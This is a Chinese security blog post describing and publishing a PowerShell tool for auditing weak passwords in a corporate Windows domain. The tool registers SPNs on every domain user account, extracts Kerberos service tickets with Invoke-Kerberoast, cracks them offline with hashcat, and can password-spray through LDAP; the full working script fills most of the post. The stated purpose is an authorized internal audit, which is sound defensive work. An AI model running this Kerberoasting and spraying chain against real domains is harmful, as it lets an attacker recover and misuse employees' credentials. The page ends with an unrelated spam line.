記一次編寫域賬號弱口令審計工具

2019-11-14 148690人圍觀 ,發現 19 個不明物體 工具

0×00 背景

為了進行相關安全方面的認證,需要對公司域環境內員工賬號的密碼進行審計,作為一名剛從事信息安全的人員,嘗試在本身擁有的權限以內,在不影響其他員工日常工作、不影響服務器正常運行的情況下,審計出使用弱密碼作為登錄口令的員工。

0×01 過程

0×0101 LDAP嘗試

因為員工的電腦都處于一個域環境下,因而所有的賬號密碼都保存在域控的一個數據庫中。

剛開始想到可以使用Powershell通過LDAP向域控發送用戶名和密碼一個個進行爆破嘗試

然而因為域環境下為設定了賬戶鎖定策略,連續嘗試5次失敗后,會被鎖定30min,會嚴重影響到被鎖定賬戶員工的工作。

因而這條思路對同一個用戶只能嘗試5次,走不通。

0×0102 Kerberos嘗試

1. 想到域環境下通常使用Kerberos作為網絡認證協議,可以利用黃金票據和白銀票據來進行滲透測試。

黃金票據:

黃金票據是要偽造出AS頒發給Client的TGT,偽造的其中一個條件就是要獲得KDC的KRBTGT賬戶的密鑰 * 然而自身只擁有一臺公司發的工作電腦,域控管理員沒有在這臺電腦上登錄過,因而也就無法通過mimikatz工具提取到權限較大的管理員的賬戶口令。

白銀票據:

白銀票據是要偽造出TGS頒發給Client的ST,偽造的其中一個條件就是要獲得特定Service Server的賬號密碼。通過白銀票據,可以訪問特定Service Server上的所有資源。

2. 我的目的在于如何獲得特定Service Server的賬號密碼,這里有一個重點。域內電腦通常有兩個賬戶,

一個是域計算機賬戶,可以使用net group “domain computers” /domain進行查看:

域計算機賬戶的密碼是自動生成的,通常在128位及以上,很難破解

一個是域用戶賬戶,可以使用net group “domain users” /domain進行查看:

域用戶賬戶的密碼是用戶自己設置,按照賬戶密碼策略進行設置

3. 如果熟悉Kerberos協議,我們了解到在第四步,TGS會返回給Client一個用戶特定Service Server賬戶密碼的NT Hash加密的ST,我們可以嘗試對ST進行爆破,進而得到特定Service Server賬戶的密碼。這里我只說了Service Server賬戶,是因為這里也有一個重點。這里的Service Server 也有兩種,是根據域賬戶的類型來進行分類的。 Service Server有一個專門的名稱,即SPN(Service Shysical Name,服務實體名稱,可以通過setspn -T <domainName> -q */*查詢現在已注冊的所有的SPN。

*   在計算機加入到域中時會自動使用**域計算機賬戶**注冊SPN;

    *   ![1573450070_5dc8f15657951.png!small](https://image.3001.net/images/20191111/1573450070_5dc8f15657951.png!small)

*   另一種時以**域用戶賬戶**的身份手動注冊SPN。

    *   ![1573450083_5dc8f163413b3.png!small](https://image.3001.net/images/20191111/1573450083_5dc8f163413b3.png!small)

4. 因為員工都是個人電腦,所以上面查到的基本都是域計算機賬戶加入域時自動注冊的SPN,這里便需要我們嘗試為員工的域賬戶注冊SPN。

可以通過setspn -A ServiceClass/<hostname> <domainUserName>注冊SPN

5. 之后我們便可以進行Kerberos的第三步以獲取ST,利用Invoke-Kerberoast.ps1以hashcat格式導出ST

6. 利用hashcat工具進行爆破

0×02 工具編寫思路

抓取所有的域用戶服務賬戶

清洗得到的數據放入賬戶列表中

為每一個域用戶賬戶注冊SPN

將注冊成功的域用戶賬戶的SPN放進一個列表

訪問列表中的每一個SPN,使用mimikatz導出緩存的上面各個SPN的服務憑據

或使用Invoke-Kerberoast以Hashcat格式導出每個SPN的ST的Hash

利用tgsrepcrack.py爆破上面的服務憑據

或利用hashcat工具爆破上面得到的Hash

0×03 代碼

<#
domainAccountCheck.ps1
Author: JC (@chroblert)
#>
# 得到域中所有的用戶
function Get-UserList
{
    # 將包含域用戶賬戶的結果保存到$resultList中去
    $resultList = net group "domain users" /domain |%{ $_ -split " "}|%{ if ($_ -ne ""){$_.trim()}}
    # 上述列表中,包含一些雜亂的數據,需要將其進行清洗
    foreach ($line in $resultList){
        if($line.contains("---")){
            $start = $resultList.indexof($line) + 1
            # 減去2是因為最后一個的下標比數量少1,且最后一個不是有效的賬戶
            $end = $resultList.count - 2 
        }
    }
    $userListA = $resultList[$start..$end]
    $userList = New-Object System.Collections.ArrayList
    foreach ($user in $userListA){
        if( -Not $user.contains("$")){
            $userList.add($user)|Out-Null
        }
    }
    Write-Host "保存域中所有的域用戶賬號到.\result\allUserList.txt文件中去"
    $userList | Out-File ".\result\allUserList.txt"
    return $userList.clone()
}
# 為域用戶賬戶注冊SPN
function Set-SPN{
    Param(
        [System.Collections.ArrayList] $allUserList
    )
    if($allUserList -eq $null){
        if(Test-Path ".\result\allUserList.txt"){
            Write-Host "使用result目錄下的allUserList.txt文件進行操作"
            $allUserList = Get-Content .\result\allUserList.txt 
        }else{
            Write-Host "參數值錯誤,且不存在allUserList.txt文件,EXIT"
            return $false
        }

    }
    $sucUserList = New-Object System.Collections.ArrayList
    $faiUserList = New-Object System.Collections.ArrayList
    $sucSPNList = New-Object System.Collections.ArrayList
    $faiSPNList = New-Object System.Collections.ArrayList
    $allUserAndSPNList = New-Object System.Collections.ArrayList
    foreach ($num in 1..$allUserList.count){
        # 將要執行的命令進行動態拼接
        $SPNStr = "weakPasswordTest/JC-ISDevil" + $num
        $userStr = $allUserList[$num-1]
        $allUserAndSPNList.add($userStr + "|#|" + $SPNStr) | Out-Null
        # 執行包含命令的字符串
        # 使用Invoke-Expression后不知如何判斷字符串命令執行的結果,因而棄用
        #Invoke-Expression $setStr
        # redirect error stream(2) to success stream(1)
        setspn -S $SPNStr -U $userStr 2>&1 | Out-Null
        if ($? -contains "True"){
            Write-Host -ForegroundColor Green "【+】" $userStr "注冊成功"
            $sucUserList.add($userStr) | Out-Null
            $sucSPNList.add($SPNStr) | Out-Null
        }else{
            Write-Host -ForegroundColor Red "【-】" $userStr "注冊失敗"
            $faiUserList.add($userStr)|Out-Null
        }
        # 暫停 等待用戶輸入數據
        # Read-Host
    }
    Write-Host "保存所有user和SPN到.\result\allUserAndSPNList.txt文件中去"
    $allUserAndSPNList | Out-File ".\result\allUserAndSPNList.txt"
    Write-Host "保存注冊SPN成功的域用戶賬號到.\result\sucUserList.txt文件中去"
    $sucUserList | Out-File ".\result\sucUserList.txt"
    Write-Host "保存注冊SPN成功的SPN到.\result\sucSPNList.txt文件中去"
    $sucSPNList | Out-File ".\result\sucSPNList.txt"
    Write-Host "保存注冊SPN失敗的域用戶賬號到.\result\faiUserList.txt文件中去"
    $faiUserList | Out-File ".\result\faiUserList.txt"
    return $sucUserList,$sucSPNList,$faiUserList
}

function Del-SPN{
    Param(
        [System.Collections.ArrayList] $sucSPNListA,
        [System.Collections.ArrayList] $sucUserListA
    )
    if ($sucSPNListA -eq $null -or $sucUserListA -eq $null){
        if(Test-Path '.\result\sucSPNList.txt' -and Test-Path ".\result\sucUserList.txt"){
            Write-Host "傳參錯誤,將啟用文件sucSPNList.txt和sucUserList.txt中的內容"
            $sucSPNListA = Get-Content .\result\sucSPNList.txt  
            $sucUserListA = Get-Content .\result\sucUserList.txt 
        }else{
            Write-Host "傳參錯誤且相關文件不存在,EXIT"
            return $false
        }
    }
    if ($sucSPNListA.count -ne $sucUserListA.count){
        Write-Host "SPN數量與用戶數量不等,EXIT"
        return $false
    }
    if ($sucSPNListA.count -eq 0 -OR $sucUserListA.count -eq 0){
        Write-Host "數組為空,EXIT"
        return $false
    }
    foreach ($spnStr in $sucSPNListA){
        setspn -D $spnStr $sucUserListA[$sucSPNListA.indexof($spnStr)] 2>&1 |Out-Null
        if($? -contains "True") {
            Write-Host "刪除成功"
        }else{
            Write-Host "刪除失敗"
        }
    }
    Write-Host "全部刪除成功"
}

# 訪問SPN得到TGS發放的服務票據ST,提取其中的Hash值并保存到krbstHash.txt文件中去
function Get-ServiceTicket{
    Param(
        [String] $krbstHashFileName
    )
    Import-Module ./kerberoast/Invoke-Kerberoast.ps1
    # Set-Content 以ANSI編碼方式保存文件;Out-File 默認以Unicode方式保存文件,因而需要指定編碼格式
    Invoke-Kerberoast -OutputFormat Hashcat|select hash|%{$_.Hash}|Out-File $krbstHashFileName -Encoding ascii
}
# 引入tgscrack來爆破下載下來的憑據
function Crack-ServiceTicket{
    Param(
        [String] $krbstHashFileName,
        [String] $passwdDictFileName
    )
    Write-Host "正在爆破中ing.......請稍等"
    if((Test-Path $krbstHashFileName) -and (Test-Path $passwdDictFileName)){
        .\hashcat\hashcat64.exe -m 13100 -a 0 $krbstHashFileName $passwdDictFileName -o ".\succeed.txt" --force
        if(Test-Path ".\result\succeed.txt"){
            $hashAndPasswdList = Get-Content ".\result\succeed.txt"
            $userAndPasswdList = New-Object System.Collections.ArrayList
            foreach($item in $hashAndPasswdList){
                $userStr = ($item.split("$")[3]).split("*")[1]
                $passwdStr = $item.split(":")[1]
                $userAndPasswd = $userStr + "|#|" + $passwdStr
                Write-Host -ForegroundColor Green "【+】" $userAndPasswd
                $userAndPasswdList.add($userAndPasswd) | Out-Null
            }
        }else{
            Write-Host "沒有從密碼字典中審計出弱口令"
            return $false
        }
    }else{
        Write-Host "相關文件不存在,EXIT"
        return $false
    }
    Write-Host "將破解出的用戶名和密碼保存到.\result\userAndPasswdList.txt文件中去"
    $userAndPasswdList | Out-File ".\result\userAndPasswdList.txt"
}
function LDAPCheck{
    Write-Host -ForegroundColor Yellow "使用該項功能需注意,很容易鎖住賬戶"
    $tmpFile = "./result/tmpPasswd.txt"
    if(Test-Path "./result/userAndPasswdList.txt"){
        Get-Content .\result\userAndPasswdList.txt|%{$_.split('|#|')[3]}|sort -Unique | Out-File -Encoding ascii $tmpFile
    }else{
        Write-Host -ForegroundColor Yellow "之前沒有審計出弱口令,請在result目錄下新建tmpPasswd.txt文件,在里面放入密碼,每行一個"
        break
    }
    if(Test-Path $tmpFile){
        Import-Module ./kerberoast/DomainPasswordSpray.ps1
        Invoke-DomainPasswordSpray -PasswordList $tmpFile -O "LDAPCheckResult.txt"
    }
}
# 創建一個用來保存結果的目錄
if(-Not (Test-Path ".\result")){
    New-Item -ItemType Directory "result"
}
# menu
$krbstHashFile = ".\krbstHash.txt"
$passwdDictFile = ".\Dicts\JCPasswd.txt"
Do {
    Write-Host "======domainAcountCheck======"
    Write-Host "||      Author:JC          ||"
    Write-Host "||      Version:2.0.1      ||"
    Write-Host "============================="
    Write-Host "===         選項          ==="
    Write-Host "| 1 獲取域內所有域用戶賬戶"
    Write-Host "| 2 為域內的所有用戶賬戶嘗試注冊SPN"
    Write-Host "| 3 獲取現有SPN的憑據的Hash"
    Write-Host "| 4 爆破獲得的Hash"
    Write-Host "| 5 刪除注冊的SPN"
    Write-Host "| 6 使用SPN審計獲得的密碼通過LDAP方式再次進行審計"
    Write-Host "| 7 全部運行"
    Write-Host "| 0 EXIT"
    $choice = Read-Host "請選擇一個選項進行操作`n>>"
    switch($choice){
        1 {
            Write-Host "獲取到所有的域用戶賬戶"
            $allUserList = Get-UserList
            break
        }
        2 {
            Read-Host "為每一個域用戶賬號注冊SPN"
            $sucUserList,$sucSPNList,$faiUserList = Set-SPN $allUserList
            break
        }
        3 {
            Get-ServiceTicket $krbstHashFile
            break    
        }
        4 {
            Crack-ServiceTicket $krbstHashFile $passwdDictFile
            break
        }
        5 {
            Read-Host "下面將要為注冊SPN成功的域用戶賬戶刪除SPN"
            Del-SPN $sucSPNList $sucUserList
            break
        }
        6 {
            LDAPCheck
            break
        }
        7 {
            # 1\. 獲取用戶
            Write-Host "獲取到所有的域用戶賬戶"
            $allUserList = Get-UserList
            # 2\. 注冊SPN
            Read-Host "為每一個域用戶賬號注冊SPN"
            $sucUserList,$sucSPNList,$faiUserList = Set-SPN $allUserList
            # 3\. 訪問SPN獲得ST,并以hashcat模式保存到文件krbstHash.txt中
            Get-ServiceTicket $krbstHashFile
            # 4\. 使用hashcat爆破ST中hash對應的口令
            Crack-ServiceTicket $krbstHashFile $passwdDictFile
            # 5\. 刪除SPN
            Read-Host "下面將要為注冊SPN成功的域用戶賬戶刪除SPN"
            Del-SPN $sucSPNList $sucUserList
            break
        }
        0 {    
            Write-Host "相關結果文件,請到result目錄查看"
            return $false
            break
        }
        default {"請重新選擇`n"}
    }
}While($true)

上面為主要代碼,全部代碼在GitHub:https://github.com/chroblert/domainWeakPasswdCheck

0×04 使用

填充密碼字典文件

dicts/JCPasswd.txt

powershell下運行

運行后結果:

*本文作者:jerrybird,轉載請注明來自FreeBuf.COM

相關推薦
發表評論

已有 19 條評論

取消
Loading...
jerrybird

學習中的信安小菜雞一只 blog.isdevil.com

1 文章數 6 評論數 1 關注者

特別推薦

活動預告

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 什么app能玩二人麻将